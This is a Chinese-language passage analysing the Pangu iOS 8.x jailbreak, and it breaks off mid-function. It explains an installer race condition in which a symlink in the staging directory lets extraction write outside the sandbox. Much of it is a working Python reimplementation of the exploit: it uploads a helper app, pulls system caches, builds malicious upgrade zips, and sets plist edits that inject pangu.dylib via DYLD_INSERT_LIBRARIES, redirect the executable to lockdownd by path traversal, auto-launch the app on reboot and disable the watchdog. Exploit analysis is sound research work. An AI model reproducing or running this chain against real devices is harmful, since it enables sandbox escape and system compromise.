最近的盤古團隊出了ios8.X的越獄工具,無疑是備受國人矚目的熱點~
好的,那麼問題來了,盤古工具究竟是怎麼使用漏洞進行越獄的呢?
盤古在用戶空間主要利用了iOS安裝程序的一個漏洞,這裡先列出安裝一個應用的主要過程:
整個安裝過程分為12個階段,上圖只是列出了起點、終點還是對盤古越獄來說比較重要的階段。大家注意上圖紅線所示的時間區間,在這個區間內如果在“Staging Directory”中創建一個符號鏈接指向沙盒之外,就可以利用解壓程序向系統目錄寫入文件。同時也可以通過控制壓縮包中的文件列表,在起始處放一個大文件,從而在解壓過程中創建一個符號鏈接。這是在盤古在安裝過程中利用的主要漏洞,後面介紹的盤古在用戶空間的行為基本都是圍繞這個漏洞。
主要的組件
盤古主要由四部分組成,:
1、桌面程序:提供資源,控制越獄流程。
2、com.pangu.ipa1.ipa:Socket Server,與桌面程序配合制造競態條件。
3、pangu.dylib,Socket Server,利用內核漏洞安裝Untecher,Cydia等。
4、pangu.tar,Untecher
這裡主要涉及的是前兩個組件,及第三個組件中用戶空間相關的部分。
工作流程
說明:為了驗證自己的分析是正確的,用Python重新實現了盤古桌面程序的功能,利用盤古的Payload可以實現越獄,下面會在主要階段給出相應示例代碼。
階段一:安裝輔助程序,獲取相關資源
1、安裝com.pangu.ipa1.ipa
複製代碼
def install_pangu():
lockdown = LockdownClient()
afc = AFCClient(lockdown)
mci = lockdown.startService("com.apple.mobile.installation_proxy")
file_name = "com.pangu.ipa1.ipa"
afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())
mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})
while True:
status = mci.recvPlist()
if not status:
break
completion = status.get("PercentComplete")
if completion:
print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])
if status.get("Status") == "Complete":
print "Installation %sn" % status["Status"]
break
mci.close()
afc.stop_session()
lockdown.stop_session()
首先利用AFC服務將IPA傳到設備上,然後利用 Installation Proxy 安裝應用。
2、獲取Cache
複製代碼
def download_caches():
fc = FileRelayClient()
data = fc.request_sources(["Caches"])
fc.stop_session()
if data:
file_path = "./payload/caches.gz"
output_path = "./payload/caches"
open(file_path,"wb").write(data)
print "Data saved to: %s " % file_path
with open(file_path, "r") as f:
gz = gzip.GzipFile(mode="rb", fileobj=f)
cpio = CpioArchive(fileobj=BytesIO(gz.read()))
cpio.extract_files(files=None,outpath=output_path)
else:
print "Fail to get caches"
raise Exception("Fail to get caches")
調用 FileRelay 服務,獲取Cache,主要是從中拿到com.apple.mobile.installation.plist
3、修改 com.apple.mobile.installation.plist修改是針對盤古程序的,具體修改如下:
複製代碼
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };
4、修改盤古程序的Info.plist
複製代碼
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
5、構造applicationState.plist
複製代碼
{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }
這個會造成盤古程序在設備重啟後自動運行。
6、com.apple.LaunchServices-056.csstore 主要是為了更新程序列表
7、com.apple.backboardd.plist 禁用“看門狗”
基於上述文件盤古會構造三個Payload。
複製代碼
def generate_upgrade_bundle1():
guid_str = get_guid()
with ZipFile("./payload/upgrade1.zip", "w") as payload:
payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")
payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")
payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")
def generate_upgrade_bundle2():
# os.remove("./payload/upgrade2.zip")
guid_str = get_guid()
with ZipFile("./payload/upgrade2.zip", "w") as payload:
payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
def generate_upgrade_bundle3():
# os.remove("./payload/upgrade3.zip")
guid_str = get_guid()
with ZipFile("./payload/upgrade3.zip", "w") as payload:
payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
這個階段會知道三個程序升級包,供下一階段使用。
另外,可以簡單的理解為:執行完這個階段就對應著盤古提示用戶在手機上啟動程序。
階段二:利用競態條件安裝文件,構造環境執行pangu.dylib
當用戶在手機上啟動程序後,手機上的App會啟動一個Socket Server,等待桌面程序的握手,這個握手的暗語挺有意思。桌面向App發送:PING,App收到後回應桌面:PONG。在握手完成後,盤古開始利用靜態條件將如上構造的三個Payload安裝到手機上。
具體過程為首先利用安裝服務安裝升級包,在安裝的過程中桌面向App發送starthook,具體hook的內容可以通過調試App確定是創建一個符號鏈接:
複製代碼
"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"
其中後綴部分會因為每次安裝而不同。
示例代碼:
複製代碼
def fire_race_condition(lockdown, file_name):
mci = lockdown.startService("com.apple.mobile.installation_proxy")
sock = get_sock()
print "----->PING"
sock.send("PING")
msg = sock.recv(4)
if msg == "PONG":
print "<-----PONGn"
upgrade_pangu(mci, file_name)
print "----->starthook"
sock.send("starthook")
msg = sock.recv(4)
if msg == "succ":